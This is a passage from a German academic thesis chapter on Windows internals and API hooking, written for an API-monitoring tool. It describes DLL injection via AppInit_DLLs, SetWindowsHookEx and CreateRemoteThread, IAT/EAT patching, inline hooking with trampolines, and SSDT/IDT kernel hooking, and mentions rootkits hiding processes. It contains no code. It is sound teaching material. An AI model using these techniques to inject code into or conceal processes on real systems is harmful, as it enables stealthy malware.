40 Kapitel 3. Windowsgrundlagen und API-Hooking werden. Die A-Versionen erwarten Ansistrings und die W-Versionen Widestrings bzw. Unicode-Strings. Meist ist es so, dass die A-Versionen intern ihre Stringargumente in Unicode umcodieren und damit die W-Versionen aufrufen. Als Beispiel für eine Aufrufkette diene die Funktion RegSetValueA, die verwendet werden kann, um einem Schlüssel der Registry einen Wert zuzuweisen. Wird diese Funktion in einer Benutzeranwendung aufgerufen, so wird die Kontrolle in die Bibliothek advapi32.dll verlagert, welche diese Funktion zur Verfügung stellt. Die Funktion RegSetValueA ruft als nächstes die Funktion RegSetValueW auf und diese dann die Funktion ZwSetValueKey der Native API. Nachdem dann die Ablaufkontrolle in der Native API angelangt ist, wird aus dieser ein Sprung in den Kernelmodus veranlasst, wo dann schließlich der eigentliche Betriebssystemkern ntoskrnl.exe die gewünschte Operation ausführt. Danach wird die Kontrolle schrittweise wieder nach oben übergeben, bis sie letztlich der Benutzeranwendung zurückgegeben wird und diese ihren Programmablauf fortsetzt. Abbildung 3.3 veranschaulicht dieses Beispiel. Benutzeranwendung: Aufrufende Funktion:. CALL RegSetValueA. Advapi32.dll: RegSetValueA:. CALL RegSetValueW. RegSetValueW:. CALL ZwSetValueKey. Windows API ntdll.dll: ZwSetValueKey:. Sysenter. Native API Benutzermodus Kernelmodus ntoskrnl.exe Abbildung 3.3.: Aufrufkette der Funktion RegSetValueA 26

41 3.3. API-Hooking 3.3. API-Hooking Als Hooking bezeichnet man eine Technik, die es einem erlaubt, Kontrolle über den Ablauf eines fremden Programms zu bekommen, ohne dass man dessen Quellcode vorliegen hat. Dafür fängt man gezielt Funktionsaufrufe fremder Programme ab und lenkt sie auf eigene Funktionen, die sogenannten Hook-Funktionen oder Callback-Funktionen, um. Der Name Hooking resultiert daraus, dass man mit dieser Technik seine eigenen Hook-Funktionen in den Ablauf fremder Programme hineinhängen kann. Innerhalb der Hook-Funktionen, die dieselben Argumente übergeben bekommen wie die Originalfunktionen, kann man dann beliebige Befehle ausführen. Es ist zum Beispiel möglich, die Argumente zu verändern und mit diesen dann die Originalfunktionen wieder aufzurufen oder aber die Originalfunktionen komplett außer Acht zu lassen und selber ein Resultat zu generieren. API-Hooking ist dementsprechend eine besondere Form des Hookings und bezeichnet das Abfangen von Funktionsaufrufen der Windows API. Ein Programm, welches eine gehookte Funktion der Windows API aufruft, bekommt im Normalfall nichts davon mit, dass diese gehookt wurde. Es interpretiert das Ergebnis dieses Funktionsaufrufs als das Resultat der Originalfunktion, obwohl es tatsächlich das Resultat der Hook-Funktion ist. Dadurch ergeben sich besondere Möglichkeiten, da ja, wie in Kapitel 3.2 beschrieben, die meisten Anwenderprogramme die Windows API benutzen. Eine spezielle Form des Hookings stellt das Inline Hooking dar, welches in Kapitel näher erläutert wird. In diesem Kapitel findet sich auch eine Abbildung (3.4), die das Prinzip des API-Hookings veranschaulicht Einsatzmöglichkeiten API-Hooking kann sowohl für eher bedenkliche Zwecke als auch in Programmen eingesetzt werden, die eine gute Intention verfolgen. Ein Beispiel für den ersten Fall sind Rootkits. Viele Rootkits nutzen die Technik des API-Hookings, um Prozesse und ihre Dateien vor dem Windowssystem oder vor Antivirenprogrammen unsichtbar zu machen: Um einen Prozess vor dem System zu verbergen, hooken sie beispielsweise unter anderem die Funktion Process32Next, die den nachfolgenden Prozess aus einer Liste aller Prozesse zurückliefert. Ist dieser nächste Prozess der Prozess, den das Rootkit verstecken möchte, so wird als Resultat einfach das Ergebnis eines weiteren Process32Next-Aufrufs zurückgegeben. Auf ähnliche Art und Weise kann man Dateien verstecken. Diese werden dann von Antivirenprogrammen schlichtweg nicht gesehen und können dementsprechend auch nicht auf Viren untersucht werden, so dass der Benutzer keine Kenntnis über die Existenz einer vorhandenen Malware erlangt. Das vorangegangene Beispiel zeigt eine Einsatzmöglichkeit des API-Hookings, welche von Malware verwendet wird. Es gibt aber auch Einsatzmöglichkeiten, die weitaus weniger bedenklich anzusehen sind. So ist es zum Beispiel denkbar, mittels API-Hooking einen API-Monitor zu programmieren, der dem Benutzer Auskunft darüber gibt, welche API-Funktionen von anderen Programmen benutzt werden. Dies ist normalerweise für den Benutzer nicht sichtbar, so dass man durch solch ein Tool eine bessere Über- 27

42 Kapitel 3. Windowsgrundlagen und API-Hooking sicht über die Funktionsweise anderer Programme bekommt. APIoskop ist solch einem API-Monitor nicht unähnlich. Ein weiteres Beispiel für diese zweite Einsatzmöglichkeit des API-Hookings liefern Virenscanner. Etliche Virenscanner versuchen das Beenden ihrer Engine durch API-Hooking zu verhindern. Dazu hooken sie beispielsweise die API-Funktion TerminateProcess, welche den Prozess beendet, der dieser Funktion als Prozesshandle übergeben wird. Wird der entsprechenden Hook-Funktion des Virenscanners ein Prozesshandle übergeben, welches den Prozess des Virenscanners kennzeichnet, in dem seine Engine läuft, so liefert die Hook-Funktion einfach einen Fehlerstatus zurück. Die Folge ist, dass die Engine auch weiterhin aktiv bleibt. Oft wird API-Hooking auch dazu benutzt, die Funktionalität bestehender Windowsapplikationen zu erweitern bzw. zu ändern. Durch das Einfügen von fremdem Code vor und hinter API-Aufrufe ist es nicht besonders schwer, das Verhalten eines schon compilierten Codes abzuändern. [Iva02] Generelle Überlegungen zum Hooking Bevor man einen Hook installiert, sollte man sich über den Zweck des Hookens im Klaren sein. Unter der Installation eines Hooks versteht man das Einhängen des Hooks in einen Programmablauf, so dass die API-Aufrufe des Zielprozesses abgefangen und auf die Hook-Funktionen umgeleitet werden. Es muss also überlegt werden, was man durch das Setzen der Hooks erreichen möchte. Möchte man beispielsweise verhindern, dass ein Programm eine bestimmte Datei anlegt, so ist es sinnvoll, den Funktionsaufruf CreateFile nur des Prozesses dieses Programms zu überwachen. Diese Form des Hooking bezeichnet man als prozessweit, da nur ein einzelner Prozess betroffen ist. Des Gegenteil dieser Form nennt sich systemweites Hooking. Beim systemweiten Hooking sind Funktionen, die man gehookt hat, aller Prozesse betroffen. Ein Beispiel, bei dem systemweites Hooking sinnvoll ist, ist das Virenscanner-Beispiel von weiter oben. Wenn man verhindern möchte, dass ein Prozess durch andere Prozesse beendet wird, bietet es sich an, die Funktion TerminateProcess systemweit zu hooken. Jeder Aufruf dieser Funktion mit dem Prozess (in Form eines Handles) als Argument, der vor dem Beenden geschützt werden soll, wird in der Hook-Funktion verboten. Durch den systemweiten Hook ist es dann keinem Prozess mehr möglich, den geschützten Prozess mittels der Funktion TerminateProcess zu beenden API-Hooking im Detail Damit der Prozess, dessen API-Aufrufe abgefangen werden sollen, die Hook-Funktionen ausführen kann, müssen sich diese in dessen Prozesskontext befinden. Aus diesem Grund benötigt ein Programm, welches API-Hooks setzen möchte, normalerweise zwei Komponenten einen Loader (auch Injektor genannt) und eine Bibliothek mit den Hook- Funktionen (ab jetzt HookLibrary genannt). Dem Loader kommt die Aufgabe zu, die HookLibrary in die gewünschten Prozesse zu injizieren. Dadurch befinden sich dann die Hook-Funktionen in dem Prozesskontext des Zielprozesses, wodurch dieser dann Zugriff 28

43 3.3. API-Hooking auf die Hook-Funktionen hat. Falls eine injizierte HookLibrary mit dem Loader kommuniziert, so ist dieser natürlich noch zusätzlich für das Empfangen und Verarbeiten der gesendeten Informationen zuständig. Es existiert eine Vielzahl an technischen Möglichkeiten zur Durchführung eines Hooks. Grob lässt sich das Setzen von Hooks in zwei Phasen unterteilen: 1. In der ersten Phase muss die HookLibrary (DLL-Datei) in den Adressraum des Zielprozesses geladen werden. 2. Anschließend werden in der zweiten Phase die einzelnen Hooks installiert. Beide Phasen werden in den folgenden zwei Unterkapiteln näher erläutert DLL Injektion Bevor ein fremder Prozess dazu gebracht werden kann, die Hook-Funktionen, anstatt die originale API-Funktionen aufzurufen, müssen diese erst in den Prozesskontext des fremden Prozesses gebracht werden. Es gibt verschiedene Möglichkeiten dafür, die HookLibrary in einen fremden Prozess zu injizieren. Dieser Abschnitt stellt einige dieser Möglichkeiten vor [Iva02]: Registry: Die erste vorgestellte Möglichkeit besteht darin, den vollständigen Pfad zur HookLibrary zu dem Wert des Registryschlüssels HKEY_LOCAL_MACHINE\Software\ Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs hinzuzufügen. Die dort angegebenen Bibliotheken werden automatisch in jeden Prozess geladen, der auch die Bibliothek user32.dll verwendet [Ric99]. Wie in Kapitel 3.2 beschrieben sind das all jene Prozesse, die dem Benutzer eine graphische Benutzeroberfläche bieten. Die Injektion der HookLibrary gestaltet sich so sehr einfach, bietet aber auch Nachteile: Funktioniert nur unter Windows NT/2K. Es ist nicht möglich, die injizierten Bibliotheken zu einem beliebigen Zeitpunkt aus den jeweiligen Prozessräumen wieder zu entfernen. Dies geschieht nur beim Beenden des jeweiligen Prozesses oder durch einen Neustart von Windows und vorheriger Anpassung des obigen Registryschlüssels. Die HookLibrary wird in jeden Prozess geladen, der die Bibliothek user32.dll verwendet. Es ist also nicht möglich, gezielt nur in bestimmte dieser Prozesse zu injizieren oder in Prozesse, die keine graphische Benutzeroberfläche bieten. Windows-Hooks: Bei dem ereignisgesteuerten Windows erzeugen Ereignisse, zum Beispiel Mausbewegungen oder Tastendrücke, Nachrichten, welche dann an das entsprechende Fenster der Zielapplikation weitergeleitet werden. Windows-Hooks erlauben es einem Programm, diese Nachrichten des Windows Nachrichtensystems abzufangen, bevor diese die eigentliche Zielapplikation erreichen. Intern verwaltet Windows eine Liste, die alle vorhandenen Windows-Hooks beinhaltet. Neue Hooks werden immer an den Anfang der Liste angefügt. Alle Nachrichten durchlaufen diese Liste und wenn eine Nachricht auf den 29

44 Kapitel 3. Windowsgrundlagen und API-Hooking Typ eines Hooks der Liste matcht, so wird die entsprechende Hook-Funktion ausgeführt. Die Funktion SetWindowsHookEx unterstützt 14 verschiedene Arten von Windows- Hooks und lädt die als Argument angegebene HookLibrary in die Adressräume der fremden Prozesse. Der Rückgabewert von SetWindowsHookEx ist ein Handle, welches den Hook eindeutig identifiziert. Dieses Handle kann als Argument der Funktion UnhookWindowsHookEx übergeben werden, die die injizierten Bibliotheken wieder aus den betroffenen Prozessräumen entfernt. Im Vergleich zur Registry-Methode ist es also auf diese Art möglich, die injizierten Bibliotheken wieder aus den fremden Prozessen zu entladen. Ein weiterer Vorteil ist, dass diese Methode auch unter Windows 9x anwendbar ist. Aber auch das Injizieren mittels SetWindowsHookEx bringt Nachteile mit sich: Da jede Nachricht im System die interne Liste der Windows-Hooks durchläuft, kann sich dies sehr nachteilig auf die Systemperformance auswirken. Installiert man auf diese Weise eine Hook-Funktion, die einen kleinen Fehler enthält, kann es sein, dass sich das komplette Verhalten von Windows ändert oder gar das ganze System hängen bleibt. Mit dieser Methode kann man nur systemweit hooken. Zudem bieten Windows- Hooks nur die Möglichkeit, Nachrichten abzufangen. Windows-Hooks eignen sich also nicht dazu, beliebige API-Funktionen zu hooken. Remote-Thread: Der Kern dieser Methode besteht aus den beiden API-Funktionen CreateRemoteThread und LoadLibrary. Ein Prozess kann die Funktion LoadLibrary benutzen, um Bibliotheken dynamisch während der Programmausführung zu laden. Wenn es nun möglich wäre, einen fremden Prozess dazu zu bringen, dass er diese Funktion mit der HookLibrary als Argument aufruft, so wäre das gewünschte Ziel der Injektion erreicht. Um dies zu erreichen, verwendet man die API-Funktion CreateRemoteThread, welche einen Thread in einem fremden Prozess erstellt. Sie bekommt sieben Argumente übergeben, unter anderem ein Handle des Prozesses, in dem man einen Thread erstellen möchte. Weitaus interessanter sind aber zwei andere Argumente. Zum einen eines, welches einen Zeiger auf eine Methode enthält und zum anderen ein Stringargument. Die Methode, auf die der Zeiger zeigt, dient als Startmethode des zu erstellenden Threads, d.h. sobald der erstellte Thread CPU-Zeit zugeteilt bekommt, wird diese Methode ausgeführt. Das Stringargument dient als Parameter für diese gerade erwähnte Startmethode des erstellten Threads. Wenn man nun also einen Thread in einem fremden Prozess mittels CreateRemoteThread erstellt und dabei als Startmethode LoadLibrary und als Argument für diese Funktion den Pfad zur HookLibrary angibt, so bringt man diesen fremden Prozess dazu, dass er die HookLibrary in seinen Prozessraum lädt. Das einzige Problem dabei ist, dass wir die Adresse der Funktion LoadLibrary im Adressraum des fremden Prozesses nicht kennen. Allerdings muss diese aber, wie erwähnt, der Funktion CreateRemoteThread in Form eines Zeigers übergeben werden. Dies lässt sich jedoch durch die Tatsache lösen, dass Windows die Bibliothek Kernel32.dll in jeden Prozess und auch immer an die gleiche Stelle innerhalb der jeweiligen Prozessräume lädt. Also befindet sich die Funktion LoadLibrary im fremden Prozess an 30

45 3.3. API-Hooking der gleichen Stelle wie in jedem anderen Prozess auch, unter anderem auch wie in dem Loader/Injektor. Ein Vorteil dieser Methode ist, dass sie die Systemperformance nicht so negativ beeinflusst wie die Injektion mittels Windows-Hooks. Außerdem erlaubt diese Methode, sich gezielt Prozesse auszusuchen, in die die HookLibrary injiziert wird. Jedoch bringt auch diese Methode einige Nachteile mit sich: Funktioniert nur unter Windows NT/2K. Diese Methode funktioniert nicht bei allen beliebigen Prozessen. Dies liegt daran, dass CreateRemoteThread intern zunächst versucht, den fremden Prozess mittels der API-Funktion OpenProcess mit lesenden und schreibenden Zugriffsrechten zu öffnen. Bei Systemprozessen scheitert deren Öffnen mit Schreibrechten normalerweise daran, dass der Loader nicht über genug Privilegien verfügt. Um solche Sytemprozesse mit Schreibrechten zu öffnen, benötigt der Loader SeDebugPrivilege-Privilegien Installation der Hooks Nachdem man die Hook-Funktionen in der ersten Phase erfolgreich in einen fremden Prozess injiziert hat, sind diese aber noch nicht aktiv. Ruft der fremde Prozess eine API- Funktion auf, so wird immer noch die Originalfunktion abgearbeitet. In einer zweiten Phase müssen die Hooks also noch installiert werden. Auch dafür existieren mehrere Möglichkeiten, von denen einige in diesem Kapitel erläutert werden. Proxy DLL: Bei dieser Methode werden einfach die Bibliotheken, deren exportierte Funktionen man hooken möchte, komplett durch neue Bibliotheken, Proxy DLLs genannt, desselben Namens ausgetauscht. Auf diese Weise werden die modifizierten Versionen in den Adressraum geladen und somit auch die Funktionen der neuen Bibliotheken anstatt der Originalfunktionen abgearbeitet [Iva02]. Dabei müssen allerdings ein paar Regeln beachtet werden. Zum einen müssen die Proxy DLLs genau die gleichen Funktionen exportieren wie die ursprünglichen Bibliotheken. Zum anderen müssen auch die Patterns, d.h. die Anzahl und die Typen der Funktionsargumente, der neuen Funktionen exakt den Patterns der alten Funktionen entsprechen, da es ansonsten bei einem Aufruf einer Bibliotheksfunktion zu Fehlern kommen kann. Die Funktionen der Originalbibliothek können innerhalb der neuen Bibliothek weiterhin verwendet werden, indem diese in der neuen Bibliothek importiert werden. Diese Methode ist sehr unkompliziert, hat aber entscheidende Nachteile: Es müssen immer alle Funktionen, die die Originalbibliothek exportiert, auch in der neuen Bibliothek vorhanden sein und exportiert werden, selbst wenn man nur den Code einer einzigen Funktion ändern möchte. Dies führt bei Bibliotheken, die mehrere Hundert Funktionen exportieren, zu einem erheblichen Aufwand. Es ist sehr leicht festzustellen, dass nicht die Originalbibliothek verwendet wird, zum Beispiel durch einen Vergleich der Größe der benutzten und der ursprünglichen Bibliothek. 31

46 Kapitel 3. Windowsgrundlagen und API-Hooking Modifikation der Import Address Table: Um einen Hook zu installieren, müssen nur die Zeiger der Import Adress Table (IAT, siehe Kapitel 3.1) auf die eigenen Funktionen umgelenkt werden. Wird in der Zielapplikation, deren IAT verändert wurde, eine importierte Funktion aufgerufen, so wird in deren IAT die Adresse der Funktion im Speicher ausgelesen. Durch die Manipulation der IAT bekommt die Zielapplikation jedoch die geänderte Adresse zurückgeliefert. Es wird also nicht mehr die Originalfunktion, sondern die Hook-Funktion abgearbeitet, auf die der manipulierte Eintrag verweist [Iva02]. Zu beachten sind bei dieser Methode folgende Punkte: Es ist möglich, dass die IAT durch ihren Header als schreibgeschützt markiert ist. Mit dieser Methode ist es nur möglich, implizit eingebundene Funktionen zu hooken. Bei explizit gebundenen Funktionen, mittels LoadLibrary und GetProcAddress, wird kein IAT-Eintrag erstellt. Modifikation der Export Address Table: Die Modifikation der Export Address Table (EAT, siehe Kapitel 3.1) ist der vorangegangenen Methode, der Modifikation der IAT, sehr ähnlich. Hierbei werden allerdings in einer Bibliothek, welche die zu hookenden Funktionen exportiert, die Zeiger deren EAT verändert. Sobald eine Programm durch den Windows Loader in den Speicher geladen wird, versucht er dessen IAT auszufüllen. Wenn nun der entsprechende EAT-Eintrag einer Bibliothek, welche die zu importierende Funktion exportiert, verändert wurde, so wird dieser manipulierte Eintrag auch in die IAT des Programms übernommen. Durch eine Veränderung der EAT-Adressen lässt sich also auch fremder Code dazu bringen, die Hook-Funktionen anstatt der Originalfunktionen aufzurufen. [Iva02] Bei dieser Art der Hookinstallation ist zu beachten, dass das Ändern der EAT einer Bibliothek Einfluss auf jeden Prozess hat, der nach der Manipulation erstellt wird und eine betroffene Funktion dieser Bibliothek importiert. Der Vorteil gegenüber der IAT- Modifikation liegt darin, dass diese Methode auch beim expliziten Binden einer Library funktioniert, da die API-Funktion GetProcAddress die EAT ausliest, um die gewünschte Adresse zurückzuliefern. Nachteile dieser Methode sind folgende: Zur Modifikation der EAT steht nur ein kleines Zeitfenster zur Verfügung. Um Hooks erfolgreich zu installieren, muss die EAT zwischen dem Zeitpunkt des Ladens der Bibliothek in den Speicher und dem Zeitpunkt, an dem der Windows Loader die IAT der Zielapplikation schreibt, manipuliert werden. Das Ändern der EAT einer Bibliothek, welche sich bereits im Speicher befindet, hat absolut keinen Einfluss auf Programme, deren IAT bereits vom Windows Loader ausgefüllt wurde. Inline Hooking: Einen völlig anderen Ansatz verfolgt das Inline Hooking (auch Inline Code Overwriting genannt) [Fat04]. Dabei wird keine Tabelle manipuliert, sondern es wird direkt ein Teil des Codes einer API-Funktion im Speicher abgeändert. Bei dieser Methode werden die ersten Instruktionen der zu hookenden Funktion mit einer relativen Sprunganweisung auf die Hook-Funktion überschrieben. Solch eine Sprunganweisung besteht aus dem Opcode 0xE9 und, bei einem 32-Bit-System, einer vier Byte Sprungweite. 32

47 3.3. API-Hooking Meist reicht es also aus, die ersten fünf Byte der Originalfunktion zu überschreiben. Somit wäre der Hook bereits vollständig installiert. Dies hat aber den Nachteil, dass nun die Originalfunktion nicht mehr in der Hook- Funktion aufgerufen werden kann. Würde man dies tun, so würde durch die eingefügte Sprunganweisung sofort wieder in die Hook-Funktion gesprungen, was eine endlose Rekursion zur Folge hätte. Um dieses Problem zu lösen, sichert man die überschriebenen Instruktionen an einer anderen Stelle im Speicher. Diese bilden, gefolgt von einer Sprunganweisung zur Stelle direkt hinter unsere Modifikation, die sogenannte Trampolinfunktion. Diese kann innerhalb der Hook-Funktion immer dann aufgerufen werden, wenn die Originalfunktion abgearbeitet werden soll. Durch die Trampolinfunktion erhält man die Möglichkeit, auch in der Hook-Funktion das Resultat der Originalfunktion zu erlangen und dieses zu modifizieren oder sonstwie weiterzuverarbeiten.. Anwendung CALL API Funktion.. Anwendung CALL API Funktion. 1 Original API Funktion Instruktion 1. Instruktion m Instruktion m+1. Sprung Modifizierte API Funktion Instruktion m Hook Funktion CALL Trampolinfunktion Instruktion n. Instruktion n 4 Trampolinfunktion Instruktion 1. Instruktion m Sprung (a) 5 (b) Abbildung 3.4.: Inline Hooking: (a) vor dem Setzen des Hooks und (b) danach. Abbildung 3.4 illustriert die Arbeitsweise des Inline Hookings. Teil (a) der Abbildung zeigt den Ablauf bei einem Aufruf einer ungehookten Funktion. In einer Anwendung wird die Funktion aufgerufen, woraufhin die Kontrolle der aufgerufenen Funktion übergeben wird. Diese berechnet ihr Ergebnis und liefert dieses an die Anwendung zurück, so dass diese mit dem berechneten Ergebnis weiterarbeiten kann. Während der Abarbeitung der API-Funktion kann diese natürlich noch weitere Funktionen aufrufen. Zur Verdeutlichung des Inline Hookings sind solche weiteren Aufrufe aber irrelevant, so dass sie in der Abbildung nicht dargestellt sind. Wird eine gehookte API-Funktion von einer Anwendung aufgerufen, ist der Programmablauf ein anderer, da der installierte Hook den Funktionsaufruf abfängt und die Kon- 33

48 Kapitel 3. Windowsgrundlagen und API-Hooking trolle der Hook-Funktion übergibt. Teil (b) der Abbildung 3.4 zeigt, wie die einzelnen Ablaufschritte bei einem Aufruf einer gehookten Funktion aussehen: 1. In einer Anwendung wird die gehookte Funktion aufgerufen. Dies geschieht mit den regulären Parametern der aufgerufenen Funktion. Solange die Anwendung nicht gezielt den Speicherbereich der Funktion untersucht, hat sie selbst keine Kenntnis darüber, ob die aufgerufene Funktion gehookt ist oder nicht. 2. Es wird die Kontrolle der aufgerufenen Funktion übergeben und nach deren Initialisierungsphase ihre erste Instruktion abgearbeitet. Diese ist eine durch die Installation des Hooks erstellte Sprunganweisung zu der Hook-Funktion. 3. Innerhalb der Hook-Funktion kann nun optional die Trampolinfunktion aufgerufen werden, je nachdem, ob die Hook-Funktion das Ergebnis der gehookten Funktion weiterverarbeiten möchte oder nicht. 4. Wird die Trampolinfunktion aufgerufen, so werden erst die gesicherten Instruktionen der Originalfunktion abgearbeitet. Anschließend wird aus der Trampolinfunktion heraus genau auf die erste Instruktion hinter der Modifikation der Originalfunktion gesprungen. 5. Nach dem Sprung zu den restlichen Instruktionen der Originalfunktion werden diese abgearbeitet. Mit den gesicherten Instruktionen in der Trampolinfunktion und den restlichen Instruktionen der Originalfunktion wird so des Verhalten der Originalfunktion simuliert. Das Ergebnis dieser Simulation wird dann der Hook- Funktion zurückgeliefert, da aus dieser die Trampolinfunktion aufgerufen wurde. Wie gesagt ist der Aufruf der Trampolinfunktion innerhalb der Hook-Funktion optional und muss nicht stattfinden. Wird sie nicht aufgerufen, so fallen die Schritte 3 bis 5 weg. 6. Nach dem Abarbeiten der Hook-Funktion wird die Kontrolle wieder der Anwendung übergeben, welche die gehookte Funktion aufgerufen hatte. Das Ergebnis, welches die Anwendung von der Hook-Funktion erhält, interpretiert die Anwendung als das Ergebnis der Originalfunktion. Inline Hooking bietet nicht nur die Möglichkeit, API-Funktionen zu hooken, sondern es lässt sich mit dieser Methode jede beliebige Funktion hooken. Im Gegensatz zur Modifikation der IAT ist es beim Inline Hooking irrelevant, ob die Bibliothek, welche die zu hookende Funktion exportiert, implizit oder explizit geladen wurde. Und im Gegensatz zur Modifikation der EAT hat diese Art, Hooks zu installieren, auch Einfluss auf Prozesse, welche bereits komplett geladen wurden, da direkt der Code der Funktion im Speicher verändert wird, anstatt nur eine modifizierte Kopie der zu hookenden Funktion zu erstellen. Außerdem besteht beim Inline Hooking nicht das Problem des kleinen Zeitfensters. All das macht das Inline Hooking wohl zu einer der effektivsten und effizientesten Methoden, einen Hook zu installieren. Aber auch diese Methode ist nicht perfekt und bringt einige Nachteile mit sich: Beim Überschreiben der ersten Instruktionen der Originalfunktion muss darauf geachtet werden, dass keine Instruktion zerstückelt wird. Sobald man eine Instruktion nur teilweise überschreibt, kommt es beim Sprung aus der Trampolinfunktion an die Stelle unmittelbar nach der Modifikation früher oder später zu einem Crash. 34

49 3.3. API-Hooking Ein möglicher Lösungsansatz besteht darin, die zu hookende Funktion zu disassemblieren und so sicher zu gehen, dass nur vollständige Instruktionen überschrieben werden. Der Code der zu hookenden Funktion muss mindestens fünf Byte lang sein. Ist er kürzer, so wird durch die Modifikation mehr als nur die zu hookende Funktion überschrieben. Beim API-Hooking stellt dies allerdings kein großes Problem dar, da keine API-Funktion diese Mindestlänge unterschreitet. Innerhalb der überschriebenen Instruktionen darf sich keine relative Sprunganweisung befinden. Ebenfalls darf im Rest der API-Funktion keine Sprunganweisung in die Instruktionen, die man überschrieben hat, existieren Hooking im Kernelmodus Die im vorangegangenen Kapitel beschriebenen Methoden, einen Hook zu installieren, basieren alle auf einer Installation im Benutzermodus. Ein völlig anderer Ansatz besteht darin, das Hooking tiefer im System anzusetzen. Wie in Kapitel beschrieben, endet eine Aufrufkette nicht notwendigerweise im Benutzermodus, sondern dringt tiefer ins System ein, so dass die gewünschte Operation letzten Endes in dem höher privilegierten Kernelmodus ausgeführt wird. Auch im Kernelmodus bieten sich Gelegenheiten, einen Hook zu installieren. Dies lässt sich durch Gerätetreiber realisieren. Sobald eine gewünschte Operation Kernelrechte benötigt, beispielsweise um Daten von einem Datenträger oder aus geschützten Speicherbereichen zu lesen, muss ein Sprung in den Kernelmodus erfolgen. Möchte eine Funktion diesen Sprung veranlassen, so verwendet sie dafür entweder einen bestimmten Interrupt oder einen bestimmten Befehl. Abhängig ist dies von der Art des Prozessors, welcher im Computer verbaut ist. Bei x86- Prozessoren, die älter sind als der Pentium II, wird der Interrupt 0x2E verwendet und bei denen, die neuer sind, der Befehl sysenter. Bei AMD-Prozessoren, neuer als ein K6, verwendet Windows den Befehl syscall. Ein numerisches Argument im Prozessorregister EAX gibt die Systemdienstnummer an, und ein weiteres Register, je nach Prozessortyp, verweist auf eine Liste mit Aufrufargumenten. Der Windows Kernel sucht in einer prozessoreigenen Interruptverteilertabelle (Interrupt Dispatch Table, IDT), welche den 256 möglichen Interrupts je eine Behandlungsroutine zuordnet, die entsprechende Routine heraus. Für den Interrupt 0x2E ist dies meist die Routine KiSystemService. Diese wiederum verwendet das im Register EAX hinterlegte Argument, um in einer Systemdienstverteilertabelle (System Service Dispatch Table, SSDT) die entsprechende Routine des Systemdienstes zu finden, und übergibt dieser die ebenfalls in einem Register hinterlegten Argumente. [umer05] Zum einen lässt sich nun durch einen Gerätetreiber die IDT so abändern, dass bei einem Interrupt 0x2E nicht mehr die Routine KiSystemService aufgerufen wird, sondern stattdessen eine eigene Interruptbehandlungsroutine abgearbeitet wird. Und der andere Ansatzpunkt, um eigenen Code in die Aufrufkette hineinzuhängen, besteht darin, die SSDT so zu verändern, dass ein eigens geschriebener Systemdienst bei bestimmten Systemaufrufen verwendet wird. 35

50 Kapitel 3. Windowsgrundlagen und API-Hooking Aber auch das Hooking im Kernelmodus zu realisieren, bringt einige Nachteile mit sich. Die Implementierung ist nicht leicht, da ein Gerätetreiber programmiert werden muss. Dabei muss auf äußerste Präzision geachtet werden, da ein Fehler im Gerätetreiber das ganze System zum Absturz bringen kann. Außerdem resultiert ein einziger Aufruf einer API-Funktion in einer Reihe von Systemaufrufen. Dieses Missverhältnis macht es schwer, von den registrierten Systemaufrufen auf einen Aufruf einer API-Funktion zu schließen. [Wil06] 3.4. Zusammenfassung Zu Beginn dieses Kapitels wurde das Dateiformat einer unter Windows ausführbaren Datei erläutert. Dies nennt sich Portable Executable File Format und wird unter anderem von Anwendungen und Programmbibliotheken verwendet. Der Aufbau dieses Formats besteht aus mehreren Headern und Sektionen. Das erste Element ist der MS-Dos Header, welcher vom MS-Dos Stub gefolgt wird. Das anschließende Element, der für APIoskop interessanteste Header, ist der PE Header. In diesem befinden sich unter anderem die Import Adress Table (IAT) und die Export Adress Table (EAT), über welche sich Hooks installieren lassen. Abgeschlossen wird das Dateiformat von der Section Table und den einzelnen Sektionen, welche die eigentlichen Daten der Datei beinhalten. Im Unterkapitel 3.2 wurde die Windows API vorgestellt. Dies ist eine von Windows angebotene Programmierschnittstelle, welche aus mehreren Bibliotheken besteht. Die wichtigsten dieser Bibliotheken sind kernel32.dll, advapi32.dll, user32.dll und ws2_32.dll. Wegen der Trennung zwischen Benutzer- und Kernelmodus hat eine Benutzeranwendung keinen direkten Zugriff auf die Systemressourcen. Durch die Windows API kann solch eine Anwendung Windows veranlassen, systemnahe Operationen für dieses auszuführen. Funktionen der Windows API können weitere Funktionen aus dieser Schnittstelle aufrufen. Eine solche Reihe von sich gegenseitig aufrufenden Funktionen nennt man Aufrufkette. Neben der Windows API existiert noch eine weitere wichtige API in Windows die Native API. Diese liegt in einer hierarchischen Sichtweise tiefer im System als die Windows API. Unterkapitel 3.3 befasst sich schließlich mit dem API-Hooking. Dies bezeichnet eine Technik, mit der es möglich ist, Funktionsaufrufe der Windows API abzufangen und auf selbstgeschriebene Funktionen umzulenken. Diese Funktionen nennt man Hook- Funktionen oder auch Callback-Funktionen. Nachdem kurz einige Einsatzmöglichkeiten dieser Technik vorgestellt wurden, ist eine Unterscheidung zwischen prozess- und systemweitem Hooking getroffen worden. Die erstere Variante bezeichnet das Abfangen der Funktionsaufrufe genau eines Prozesses und die zweite Variante das Abfangen der Funktionsaufrufe aller Prozesse eines Systems. Damit ein Prozess dazu gebracht werden kann, die Hook-Funktionen anstatt der originalen API-Funktionen aufzurufen, benötigt dieser Zugriff auf diese Funktionen. Aus diesem Grund wurden Methoden vorgestellt, wie eine Bibliothek, welche die Hook- Funktionen enthält, in fremde Prozesse injiziert werden kann. Die in diesem Kapitel vorgestellten Methoden der Injektion waren Windows-Hooks, die Injektion über die Re- 36

51 3.4. Zusammenfassung gistry und das Injizieren mittels eines Remote-Threads. Vollendet wird das API-Hooking durch die Installation der Hooks. Damit bezeichnet man das Verfahren, welches die Zielapplikation dazu zwingt, die injizierten Hook- Funktionen anstelle der originalen API-Funktionen zu benutzen. In diesem Kapitel wurden dazu folgende Verfahren erläutert: Installation mittels Proxy DLLs, die Modifikation der IAT und der EAT und das Inline Hooking, welches auch APIoskop verwendet. Neben den hier hauptsächlich vorgestellten Hooking-Techniken im Benutzermodus existieren auch Möglichkeiten, die Ablaufkontrolle eines Funktionsaufrufs im Kernelmodus unter seine eigene Kontrolle zu bringen. Diese Technik und ihre Möglichkeiten wurden kurz im letzten Unterkapitel erläutert. 37

52 Kapitel 3. Windowsgrundlagen und API-Hooking 38

